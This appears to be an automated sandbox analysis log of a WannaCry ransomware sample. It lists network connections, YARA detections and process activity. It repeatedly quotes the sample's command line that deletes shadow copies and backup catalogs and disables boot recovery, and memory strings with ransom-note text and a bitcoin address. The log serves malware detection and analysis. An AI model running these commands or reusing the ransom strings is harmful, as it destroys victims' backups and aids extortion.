Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.16:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.16:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.62.22.36:443 -> 192.168.2.16:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.72.131:443 -> 192.168.2.16:49903 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Yara detected Conti ransomware

Source: Yara match

File source: Process Memory Space: @WanaDecryptor@.exe PID: 1956, type: MEMORYSTR

Yara detected Wannacry ransomware

Source: Yara match	File source: 69.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: @WanaDecryptor@.exe PID: 1956, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
